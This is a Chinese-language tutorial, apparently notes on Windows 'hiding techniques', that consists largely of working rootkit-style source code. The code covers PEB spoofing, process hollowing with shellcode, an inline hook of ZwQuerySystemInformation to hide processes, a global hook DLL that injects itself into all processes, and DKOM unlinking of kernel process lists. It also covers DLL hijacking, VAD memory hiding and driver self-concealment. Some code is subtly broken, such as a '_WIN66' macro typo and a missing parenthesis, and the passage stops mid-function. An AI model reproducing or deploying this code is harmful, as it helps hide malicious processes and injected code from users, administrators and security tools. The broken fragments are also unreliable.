WindowsAPI编程核心技术-隐藏技术

进程伪装

NtQueryInformationProcess

1
2
3
4
5
6
7
8
9
10
11
12
NTSTATUS WINAPI NtQueryInformationProcess(
_In_ HANDLE ProcessHandle,
//要获取信息的进程句柄
_In_ PROCESSINFOCLASS ProcessInformationClass,
//要获取的进程信息的类型
_Out_ PVOID ProcessInformation,
//请求的信息
_In_ ULONG ProcessInformationLength,
//缓冲区大小
_Out_opt_ PULONG ReturnLength
//所请求信息的大小
)//返回NTSTATUS成功或错误代码

PROCESS_BASIC_INFORMATION

1
2
3
4
5
6
7
typedef struct _PROCESS_BASIC_INFORMATION{
PVOID Reserved1;
PPEB PebBaseAddress; //PEB结构
PVOID Reserved2[2];
ULONG_PTR UniqueProcessId; //系统唯一标识符
PVOID Reserved3;
}PROCESS_BASIC_INFORMATION;

例子

先手动从ntdll.dll中获取NtQueryInformationProcess函数,再获取指定进程PEB。因为存在进程隔离,对其他进程的读写只能通过ReadProcessMemoryWriteProcessMemory进行实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include<winternl.h>
typedef NTSTATUS(NTAPI* typedef_NtQueryInformationProcess)(
_In_ HANDLE ProcessHandle,
_In_ UINT ProcessInformationClass,
_Out_ PVOID ProcessInformation,
_In_ ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLengths
);
BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd) {
HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
return FALSE;
typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
PROCESS_BASIC_INFORMATION pbi = { 0 };
PEB peb = { 0 };
RTL_USER_PROCESS_PARAMETERS Param = { 0 };
USHORT usCmdLen = 0;
USHORT usPathLen = 0;
NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(::LoadLibrary(L"ntdll.dll"), "NtQueryInformationProcess");
if (NULL == NtQueryInformationProcess)
return FALSE;
NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
if (!NT_SUCCESS(status))
return FALSE;
::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
usCmdLen = 2 + 2 * ::wcslen(lpwszCmd);
::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, usCmdLen, NULL);
::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &usCmdLen, sizeof(usCmdLen), NULL);
usPathLen = 2 + 2 * ::wcslen(lpwszPath);
::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, usPathLen, NULL);
::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &usPathLen, sizeof(usPathLen), NULL);
return TRUE;
};

傀儡进程

GetThreadContext

获取指定线程上下文,x64用Wow64GetThreadContext

1
2
3
4
5
6
BOOL WINAPI GetThreadContext(
_In_ HANDLE hThread,
//要检索上下文的进程
_Inout_ LPCONTEXT lpContext
//接收上下文
)//成功非0 失败0

SetThreadContext

设定指定线程上下文,x64用Wow64SetThreadContext

1
2
3
4
5
6
BOOL WINAPI SetThreadContext(
_In_ HANDLE hThread,
//指定线程句柄
_In_ const CONTEXT* lpContext
//设置上下文结构的指针
)//成功非0 失败0

ResumeThread

减少线程暂停计数,递减到零时恢复线程执行。

1
2
3
4
DWORD WINAPI ResumeThread(
_In_ HANDLE hThread
//要重新启动线程的句柄
)//成功返回先前挂起的计数 失败(DWORD)-1

例子

修改某一进程的内存数据为shellcode,再修改EIP为该代码地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
BOOL ReplaceProcess(WCHAR* pszFilePath, PVOID pReplaceData, DWORD dwReplaceDataSize, DWORD dwRunOffset) {
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CONTEXT threadContext = { 0 };
BOOL bRet = FALSE;
::RtlZeroMemory(&si, sizeof(si));
::RtlZeroMemory(&pi, sizeof(pi));
::RtlZeroMemory(&threadContext, sizeof(threadContext));
si.cb = sizeof(si);
bRet = ::CreateProcess(pszFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
if (FALSE == bRet)
return FALSE;
LPVOID lpDestBaseAddr = ::VirtualAllocEx(pi.hProcess, NULL, dwReplaceDataSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (NULL == lpDestBaseAddr)
return FALSE;
bRet = ::WriteProcessMemory(pi.hProcess, lpDestBaseAddr, pReplaceData, dwReplaceDataSize, NULL);
if (FALSE == bRet)
return FALSE;
threadContext.ContextFlags = CONTEXT_FULL;
bRet = ::GetThreadContext(pi.hThread, &threadContext);
if (FALSE == bRet)
return FALSE;
threadContext.Rip = (DWORD)lpDestBaseAddr + dwRunOffset; //x86就是.Eip
bRet = ::SetThreadContext(pi.hThread, &threadContext);
if (FALSE == bRet)
return FALSE;
::ResumeThread(pi.hThread);
return TRUE;
};

进程隐藏

若WinDBG一直打印一些无用日志,可用下列命令关闭:

1
ed nt!kd_fusion_mask 0

ZwQuerySystemInformation

获取系统信息,NTDLL.DLL没有导出,用LoadLibraryGetProcAddress手动链接,但NtQuerySystemInformation已经导出了。Windows 8开始这东西就没了,有一些代替的函数。

1
2
3
4
5
6
7
8
9
10
NTSTATUS WINAPI ZwQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
//要检索的信息类型
_Inout_ PVOID SystemInformation,
//接收请求的信息 缓冲区
_In_ ULONG SystemInformationLength,
//缓冲区大小 单位字节
_Out_opt_ PULONG ReturnLength
//指向写入请求信息的实际大小的位置
)//返回NTSTATUS代码 在Ntstatus.h中列出

当SystemInformationClass为SystemBasicInformation时,SystemInformation参数要求一个指向SYSTEM_BASIC_INFORMATION的指针。为SystemProcessInformation时函数返回一个SYSTEM_PROCESS_INFORMATION结构链表,每个结构表示一个进程信息。

SYSTEM_PROCESS_INFORMATION

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset; //下一个该结构的偏移地址
ULONG NumberOfThreads; //线程数目
BYTE Reserved1[48];
UNICODE_STRING ImageName; //进程名称
KPRIORITY BasePriority; //进程优先级
HANDLE UniqueProcessId; //进程ID
PVOID Reserved2;
ULONG HandleCount; //句柄数目
ULONG SessionId; //会话ID
PVOID Reserved3;
SIZE_T PeakVirtualSize; //峰值虚拟内存大小
SIZE_T VirtualSize; //当前虚拟内存大小
ULONG Reserved4;
SIZE_T PeakWorkingSetSize; //峰值工作集大小
SIZE_T WorkingSetSize; //当前工作集大小
PVOID Reserved5;
SIZE_T QuotaPagedPoolUsage; //分页池使用配额
PVOID Reserved6;
SIZE_T QuotaNonPagedPoolUsage; //非分页池使用配额
SIZE_T PagefileUsage; //进程提交的内存总量
SIZE_T PeakPagefileUsage; //进程提交的内存总量峰值
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved7[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

例子

遍历进程一般用EnumProcessesCreateToolhelp32Snapshot来实现,这俩都用的ZwQuerySystemInformation来实现,所以HOOK这玩意儿就行了。这里使用Inline HOOK的方法,将ZwQuerySystemInformation的前几字节改为jmp无条件跳转到假的函数地址即可。x86要改前$5$字节,x64要改前$12$字节。别忘了备份前几字节UnHOOK的时候恢复用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <winternl.h>
BYTE g_OldData32[5] = { 0 };
BYTE g_OldData64[12] = { 0 };
void HookApi(void);
void UnhookApi(void); //这玩意儿不写了 自己去写
typedef NTSTATUS(NTAPI* pfnZwQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
NTSTATUS CALLBACK New_ZwQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
) {
NTSTATUS status = 0;
PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;
DWORD dwHideProcessId = 1224; //要隐藏的进程PID
UnhookApi();
HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
if (NULL == hDll)
return status;
pfnZwQuerySystemInformation ZwQuerySystemInformation = (pfnZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
if (NULL == ZwQuerySystemInformation)
return status;
status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
if (NT_SUCCESS(status) && 5 == SystemInformationClass) { //NT_SUCCESS 即为>=0成功 status这时应为0
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while (TRUE) {
if (dwHideProcessId == (DWORD)pCur->UniqueProcessId)
if (0 == pCur->NextEntryOffset)
pPrev->NextEntryOffset = 0;
else
pPrev->NextEntryOffset += pCur->NextEntryOffset; //将目标进程从遍历列表中卸下
else
pPrev = pCur;
if (0 == pCur->NextEntryOffset)
break;
pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset);
};
};
HookApi();
return status;
};
void HookApi(void) {
HMODULE hDll = ::GetModuleHandle(L"ntdll.dll");
if (NULL == hDll)
return;
pfnZwQuerySystemInformation ZwQuerySystemInformation = (pfnZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
if (NULL == ZwQuerySystemInformation)
return;
#ifndef _WIN66 //x86架构
BYTE pData[5] = { 0xE9,0,0,0,0 }; //jmp $+xxx
DWORD dwOffset = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
::RtlCopyMemory(&pData[1], &dwOffset, sizeof(dwOffset));
::RtlCopyMemory(g_OldData32, ZwQuerySystemInformation, sizeof(pData)); //备份
#else //x64架构
BYTE pData[12] = { 0x48,0xB8,0,0,0,0,0,0,0,0,0xFF,0xE0}; //mov rax,xxx;jmp rax
ULONGLONG ullOffset = (ULONGLONG)New_ZwQuerySystemInformation;
::RtlCopyMemory(&pData[2], &ullOffset, sizeof(ullOffset);
::RtlCopyMemory(g_OldData64, ZwQuerySystemInformation, sizeof(g_OldData64));
#endif
DWORD dwOldProtect = 0;
::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));
::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
return;
};

下面通过Windows钩子方式实现,但为了实现进程隐藏必须HOOK所有进程对该函数调用,这里选择安装全局消息钩子WH_GETMESSAGE将实现HOOK功能的DLL注入每个线程。全局消息钩子必须创建DLL,导出安装和卸载全局消息钩子函数。

DLL头文件:

1
2
3
4
5
6
7
8
9
#pragma once
#ifdef DLL_EXPORT
#define DLL_API extern "C" __declspec(dllexport)
#else
#define DLL_API extern "C" __declspec(dllimport)
#endif
// 导出函数
DLL_API BOOL InstallHook(int idHook, DWORD dwThreadId, DWORD dwProcessId);
DLL_API BOOL UninstallHook();

DLL源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#include <Windows.h>
#include <winternl.h>
#define DLL_EXPORT
#include "HookZwQuerySystemInformation.h"
#pragma data_seg(".Shared")
DWORD g_dwProcessIdHide = -1;
#pragma data_seg()
#pragma comment(linker, "/SECTION:.Shared,RWS")
// ZwQuerySystemInformation函数指针
typedef NTSTATUS(NTAPI* pfnZwQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass,PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
// 全局变量
HINSTANCE g_hMod;
HHOOK g_hHook;
BYTE g_bDataJmp32[5] = { 0 };
BYTE g_bDataJmp64[12] = { 0 };
// 消息钩子函数
LRESULT CALLBACK GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam);
// Hook ZwQuerySystemInformation
BOOL SetJmp();
// UnHook ZwQuerySystemInformation
BOOL ResetJmp();
// 自定义函数,对原ZwQuerySystemInformation函数获取到的进程信息列表进行处理
NTSTATUS NTAPI HookZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass,PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: {
g_hMod = hModule;
SetJmp();
break;
};
case DLL_THREAD_ATTACH: {};
case DLL_THREAD_DETACH: {
break;
};
case DLL_PROCESS_DETACH: {
ResetJmp();
break;
};
};
return TRUE;
};
// 导出函数
BOOL InstallHook(int idHook, DWORD dwThreadId, DWORD dwProcessId) {
if (!g_hHook) {
g_hHook = SetWindowsHookEx(idHook, GetMsgProc, g_hMod, dwThreadId);
if (!g_hHook)
return FALSE;
g_dwProcessIdHide = dwProcessId;
};
return TRUE;
};
BOOL UninstallHook() {
if (g_hHook)
if (!UnhookWindowsHookEx(g_hHook))
return FALSE;
g_hHook = NULL;
return TRUE;
};
// 内部函数
LRESULT CALLBACK GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam) {
return CallNextHookEx(NULL, nCode, wParam, lParam);
};
BOOL SetJmp() {
pfnZwQuerySystemInformation ZwQuerySystemInformation = NULL;
DWORD dwOldProtect;
ZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "ZwQuerySystemInformation");
#ifndef _WIN64
BYTE bDataJmp[5] = { 0xE9, 0x00, 0x00, 0x00, 0x00 };
*(PINT_PTR)(bDataJmp + 1) = (INT_PTR)HookZwQuerySystemInformation - (INT_PTR)ZwQuerySystemInformation - 5;
// 保存ZwQuerySystemInformation函数的前5个字节
memcpy_s(g_bDataJmp32, sizeof(g_bDataJmp32), ZwQuerySystemInformation, sizeof(bDataJmp));
#else
BYTE bDataJmp[12] = { 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xE0 };
*(PINT_PTR)(bDataJmp + 2) = (INT_PTR)HookZwQuerySystemInformation;
// 保存ZwQuerySystemInformation函数的前12个字节
memcpy_s(g_bDataJmp64, sizeof(g_bDataJmp64), ZwQuerySystemInformation, sizeof(bDataJmp));
#endif
// 修改页面保护属性,写入Jmp数据
VirtualProtect(ZwQuerySystemInformation, sizeof(bDataJmp), PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy_s(ZwQuerySystemInformation, sizeof(bDataJmp), bDataJmp, sizeof(bDataJmp));
VirtualProtect(ZwQuerySystemInformation, sizeof(bDataJmp), dwOldProtect, &dwOldProtect);
return TRUE;
};
BOOL ResetJmp() {
pfnZwQuerySystemInformation ZwQuerySystemInformation = NULL;
DWORD dwOldProtect;
ZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "ZwQuerySystemInformation");
#ifndef _WIN64
VirtualProtect(ZwQuerySystemInformation, sizeof(g_bDataJmp32), PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy_s(ZwQuerySystemInformation, sizeof(g_bDataJmp32), g_bDataJmp32, sizeof(g_bDataJmp32));
VirtualProtect(ZwQuerySystemInformation, sizeof(g_bDataJmp32), dwOldProtect, &dwOldProtect);
#else
VirtualProtect(ZwQuerySystemInformation, sizeof(g_bDataJmp64), PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy_s(ZwQuerySystemInformation, sizeof(g_bDataJmp64), g_bDataJmp64, sizeof(g_bDataJmp64));
VirtualProtect(ZwQuerySystemInformation, sizeof(g_bDataJmp64), dwOldProtect, &dwOldProtect);
#endif
return TRUE;
};
NTSTATUS NTAPI HookZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength) {
pfnZwQuerySystemInformation ZwQuerySystemInformation = NULL;
NTSTATUS status = -1;
PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;
ZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "ZwQuerySystemInformation");
// 因为首先需要执行原ZwQuerySystemInformation函数,所以先恢复函数首部数据
ResetJmp();
status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
if (NT_SUCCESS(status) && SystemInformationClass == SystemProcessInformation) {
pCur = pPrev = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while (TRUE) {
// 如果是要隐藏的进程
if ((DWORD)pCur->UniqueProcessId == g_dwProcessIdHide) {
if (pCur->NextEntryOffset == 0)
pPrev->NextEntryOffset = 0;
else
pPrev->NextEntryOffset += pCur->NextEntryOffset;
}
else
pPrev = pCur;
if (pCur->NextEntryOffset == 0)
break;
pCur = (PSYSTEM_PROCESS_INFORMATION)((LPBYTE)pCur + pCur->NextEntryOffset);
};
};
// Hook ZwQuerySystemInformation
SetJmp();
return status;
};

调用程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <windows.h>
#include "HookZwQuerySystemInformation.h"
#include "resource.h"
#pragma comment(lib, "HookZwQuerySystemInformation.lib")
// 函数声明
INT_PTR CALLBACK DialogProc(HWND hwndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
DialogBoxParam(hInstance, MAKEINTRESOURCE(IDD_MAIN), NULL, DialogProc, NULL);
return 0;
};
INT_PTR CALLBACK DialogProc(HWND hwndDlg, UINT uMsg, WPARAM wParam, LPARAM lParam) {
DWORD dwProcessId;
switch (uMsg) {
case WM_COMMAND: {
switch (LOWORD(wParam)) {
case IDC_BTN_INSTALLHOOK: {
dwProcessId = GetDlgItemInt(hwndDlg, IDC_EDIT_PROCESSID, NULL, FALSE);
InstallHook(WH_GETMESSAGE, 0, dwProcessId);
break;
};
case IDC_BTN_UNINSTALLHOOK: {
UninstallHook();
break;
};
case IDCANCEL: {
UninstallHook();
EndDialog(hwndDlg, 0);
break;
};
};
return TRUE;
};
};
return FALSE;
};

内核DKOM法

该法不确定Windows 10上能不能用。EPROCESS结构中的ActiveProcessLinks成员将各个进程的EPROCESS结构体连接成双向链表,ZwQuerySystemInformation就这么实现的,所以这里对该成员摘链。关闭驱动后需要手动还原,否则可能蓝屏。操作不好容易发现,还只能欺骗进程管理器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#include <ntifs.h>
#define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x188
NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS *Process);
NTKERNELAPI CHAR* PsGetProcessImageFileName(PEPROCESS Process);
VOID UnDriver(PDRIVER_OBJECT driver){
}
PEPROCESS GetProcessObjectByName(char *name){
SIZE_T temp;
for (temp = 100; temp<10000; temp += 4){
NTSTATUS status;
PEPROCESS ep;
status = PsLookupProcessByProcessId((HANDLE)temp, &ep);
if (NT_SUCCESS(status)){
char *pn = PsGetProcessImageFileName(ep);
if (_stricmp(pn, name) == 0)
return ep;
}
}
return NULL;
}
VOID RemoveListEntry(PLIST_ENTRY ListEntry){
KIRQL OldIrql;
OldIrql = KeRaiseIrqlToDpcLevel();
if (ListEntry->Flink != ListEntry &&ListEntry->Blink != ListEntry &&ListEntry->Blink->Flink == ListEntry &&ListEntry->Flink->Blink == ListEntry){
ListEntry->Flink->Blink = ListEntry->Blink;
ListEntry->Blink->Flink = ListEntry->Flink;
ListEntry->Flink = ListEntry;
ListEntry->Blink = ListEntry;
}
KeLowerIrql(OldIrql);
}
// 隐藏指定进程(会蓝屏)
BOOLEAN HideProcessB(PUCHAR pszHideProcessName){
PEPROCESS pFirstEProcess = NULL, pEProcess = NULL;
ULONG ulOffset = 0;
HANDLE hProcessId = NULL;
PUCHAR pszProcessName = NULL;
// 获取相应偏移大小
ulOffset = PROCESS_ACTIVE_PROCESS_LINKS_OFFSET;
if (0 == ulOffset)
return FALSE;
// 获取当前进程结构对象
pFirstEProcess = PsGetCurrentProcess();
pEProcess = pFirstEProcess;
// 开始遍历枚举进程
do{
// 从 EPROCESS 获取进程 PID
hProcessId = PsGetProcessId(pEProcess);
// 从 EPROCESS 获取进程名称
pszProcessName = PsGetProcessImageFileName(pEProcess);
// 隐藏指定进程
if (0 == _stricmp(pszProcessName, pszHideProcessName)){
// 摘链
RemoveEntryList((PLIST_ENTRY)((PUCHAR)pEProcess + ulOffset));
break;
}
// 根据偏移计算下一个进程的 EPROCESS
pEProcess = (PEPROCESS)((PUCHAR)(((PLIST_ENTRY)((PUCHAR)pEProcess + ulOffset))->Flink) - ulOffset);
} while (pFirstEProcess != pEProcess);
return TRUE;
}
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath){
PEPROCESS PRoc = NULL;
PRoc = GetProcessObjectByName("calc.exe");
// 摘除结构中的calc.exe 实现驱动隐藏计算器
RemoveListEntry((PLIST_ENTRY)((ULONG64)PRoc + PROCESS_ACTIVE_PROCESS_LINKS_OFFSET));
DriverObject->DriverUnload = UnDriver;
return STATUS_SUCCESS;
}

DLL劫持

先劫持DLL,使程序调用假DLL,执行后再转发给真正的DLL完成原工作。

了解一下就行,实战用AheadLibEx一键生成。

进入x64时代后,x86的DLL路径会被自动从“C:\Windows\System32”重定向到“C:\Windows\SysWOW64”目录。

DLL函数转发

这里演示劫持VERSION.DLL文件,因为这个导出函数较少。

直接转发

将原VERSION.DLL重命名为OLD_VERSION.DLL,然后通过编译指令直接转发:

1
2
#pragma comment(linker,"/EXPORT:GetFileVersionInfoA=OLD_VERSION.GetFileVersionInfoA")
//太多了不写了

WINAPI 动态调用转发

这个方法在x64下不好使,__declspec(naked)__asm关键字在x64下不被支持。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#pragma comment(linker,"/EXPORT:GetFileVersionInfoA=_DG_GetFileVersionInfoA,@1") //1是导出表序号
//太多了也不写了
PVOID GetFunctionAddress(const char* pszFunctionName) {
PVOID pAddr = NULL;
HMODULE hDll = NULL;
WCHAR szDllPath[MAX_PATH] = L"C:\\Windows\\System32\\VERSION.dll";
hDll = ::LoadLibrary(szDllPath);
if (NULL == hDll)
return NULL;
pAddr = ::GetProcAddress(hDll, pszFunctionName);
::FreeLibrary(hDll);
return pAddr;
};
extern "C" void __declspec(naked) DG_GetFileVersionInfoA() {
GetFunctionAddress("GetFileVersionInfoA");
__asm jmp eax
};
//太多了也不写了

VAD隐藏R3内存

EPROCESS中VadRoot成员是个存放进程内存块的树结构,可以将某块内存的上一个节点的EndingVpn指向下一个节点的EndingVpn,类似于摘链。

先获取俩内存地址:

1
2
3
4
5
6
7
8
9
10
#include <iostream>
#include <Windows.h>
int main(int argc, char *argv[]){
LPVOID p1 = VirtualAlloc(NULL, 0x10000, MEM_COMMIT, PAGE_READWRITE);
LPVOID p2 = VirtualAlloc(NULL, 0x10000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
std::cout << "address = " << p1 << std::endl;
std::cout << "address2 = " << p2 << std::endl;
getchar();
return 0;
}

隐藏方法:

1
2
3
4
PMMVAD p1 = vad_enum((PMMVAD)VadRoot, 0x3a0); // 遍历第一个结点
PMMVAD p2 = vad_enum((PMMVAD)VadRoot, 0x3b0); // 遍历找到第二个结点
if (p1 && p2)
p1->EndingVpn = p2->EndingVpn; // 将第二个结点完全隐藏起来

WinDBG中的Start和End字段需要乘以0x1000,即一个页面大小,才得到真正地址。代码略。

DKOM进程摘链隐藏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <ntifs.h>
#define PROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x2f0
NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(HANDLE ProcessId, PEPROCESS* Process);
NTKERNELAPI CHAR* PsGetProcessImageFileName(PEPROCESS Process);
VOID UnDriver(PDRIVER_OBJECT driver){
}
PEPROCESS GetProcessObjectByName(char* name){
SIZE_T temp;
for (temp = 100; temp < 10000; temp += 4){
NTSTATUS status;
PEPROCESS ep;
status = PsLookupProcessByProcessId((HANDLE)temp, &ep);
if (NT_SUCCESS(status)){
char* pn = PsGetProcessImageFileName(ep);
if (_stricmp(pn, name) == 0)
return ep;
}
}
return NULL;
}
// 隐藏进程
VOID HideProcess(PLIST_ENTRY ListEntry){
KIRQL OldIrql;
OldIrql = KeRaiseIrqlToDpcLevel();
if (ListEntry->Flink != ListEntry && ListEntry->Blink != ListEntry &&ListEntry->Blink->Flink == ListEntry && ListEntry->Flink->Blink == ListEntry){
ListEntry->Flink->Blink = ListEntry->Blink;
ListEntry->Blink->Flink = ListEntry->Flink;
ListEntry->Flink = ListEntry;
ListEntry->Blink = ListEntry;
}
KeLowerIrql(OldIrql);
}
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath){
PEPROCESS PRoc = NULL;
PRoc = GetProcessObjectByName("C32Asm.exe");
// 摘除结构中的C32Asm.exe实现驱动隐藏
HideProcess((PLIST_ENTRY)((ULONG64)PRoc +PROCESS_ACTIVE_PROCESS_LINKS_OFFSET));
DriverObject->DriverUnload = UnDriver;
return STATUS_SUCCESS;
}

驱动无痕隐藏自身

思路是找到MiProcessLoaderEntry入口地址,该函数用于将驱动信息加入链表或移除链表。如:

1
2
MiProcessLoaderEntry(pDriverObject->DriverSection, 1); //添加
MiProcessLoaderEntry(pDriverObject->DriverSection, 0); //移除

寻找方法为:

  1. 寻找MmUnloadSystemImage函数地址,可通过MmGetSystemRoutineAddress函数得到。
  2. MmUnloadSystemImage里面寻找MiUnloadSystemImage函数地址。
  3. MiUnloadSystemImage里面继续寻找MiProcessLoaderEntry即可。

下面先找MiUnloadSystemImageMiProcessLoaderEntry的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#include <ntddk.h>
#include <ntstrsafe.h>
typedef NTSTATUS(__fastcall* MiProcessLoaderEntry)(PVOID pDriverSection, BOOLEAN bLoad);
// 取出指定函数地址
PVOID GetProcAddress(WCHAR* FuncName){
UNICODE_STRING u_FuncName = { 0 };
PVOID ref = NULL;
RtlInitUnicodeString(&u_FuncName, FuncName);
ref = MmGetSystemRoutineAddress(&u_FuncName);
if (ref != NULL)
return ref;
return ref;
}
// 特征定位 MiUnloadSystemImage
ULONG64 GetMiUnloadSystemImageAddress(){
// 在MmUnloadSystemImage函数中搜索的Code
/*
kd> uf MmUnloadSystemImage
fffff801`37943512 83caff     or   edx,0FFFFFFFFh
fffff801`37943515 488bcf     mov   rcx,rdi
fffff801`37943518 488bd8     mov   rbx,rax
fffff801`3794351b e860b4ebff   call  nt!MiUnloadSystemImage
(fffff801`377fe980)
*/
CHAR MmUnloadSystemImage_Code[] = "\x83\xCA\xFF"  // or   edx, 0FFFFFFFFh
"\x48\x8B\xCF"                 // mov   rcx, rdi
"\x48\x8B\xD8"                 // mov   rbx, rax
"\xE8";                    // call nt!MiUnloadSystemImage(fffff801`377fe980)
ULONG_PTR MmUnloadSystemImageAddress = 0;
ULONG_PTR MiUnloadSystemImageAddress = 0;
ULONG_PTR StartAddress = 0;
MmUnloadSystemImageAddress =(ULONG_PTR)GetProcAddress(L"MmUnloadSystemImage");
if (MmUnloadSystemImageAddress == 0)
return 0;
// 在MmUnloadSystemImage中搜索特征码寻找MiUnloadSystemImage
StartAddress = MmUnloadSystemImageAddress;
while (StartAddress < MmUnloadSystemImageAddress + 0x500){
if (memcmp((VOID*)StartAddress, MmUnloadSystemImage_Code,strlen(MmUnloadSystemImage_Code)) == 0){
// 跳过call之前的指令
StartAddress += strlen(MmUnloadSystemImage_Code);
// 取出 MiUnloadSystemImage地址
